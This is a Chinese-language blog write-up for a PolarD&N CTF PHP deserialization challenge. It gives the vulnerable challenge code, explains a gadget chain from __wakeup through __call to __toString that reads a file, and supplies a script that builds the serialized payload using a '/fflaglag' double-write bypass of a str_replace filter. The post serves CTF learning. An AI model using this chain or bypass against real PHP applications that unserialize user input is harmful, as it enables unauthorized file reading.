PHP_Deserialization(php反序列化)

题目:

 <?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

if (isset($_POST['polar'])) {
    unserialize(base64_decode($_POST['polar']));
} else {
    highlight_file(__FILE__);
}

思路:

__call($method, $args)  //调用不存在或不可访问的方法时触发
__toString()  //对象被当作字符串处理时触发
入口类Polar,将$this->night=Night类,因为hacker属性在Night不存在,所以会触发__call,然后把$this->night_arg=Day类,因为当触发__call后会把$this->night_arg当成$arguments[0],进行echo输出,属于字符操作,会触发Day类的__toString方法,读取文件,str_replace只会检查一遍,需要双写绕过,最后序列化后base64编码

scrit:

 <?php

/*

PolarD&N CTF

*/

class Polar
{
    public $night;
    public $night_arg;

    public function __wakeup()
    {
        echo "hacker";
        $this->night->hacker($this->night_arg);
    }

}

class Night
{
    public function __call($name, $arguments)
    {
        echo "wrong call:" . $name . "  arg:" . $arguments[0];
    }
}

class Day
{
    public $filename="/flag";

    public function __toString()
    {
        $this->filename = str_replace("flag", "", $this->filename);
        echo file_get_contents($this->filename);
        return $this->filename;
    }
}

if (isset($_POST['polar'])) {
    unserialize(base64_decode($_POST['polar']));
} else {
    highlight_file(__FILE__);
}

$a = new Polar();
$b = new Night();
$c = new Day();
$a -> night = $b;
$a ->night_arg = $c;
$c -> filename = "/fflaglag";
echo base64_encode(serialize($a));
posted @ 2025-05-12 20:37  lethe311  阅读(38)  评论(0)    收藏  举报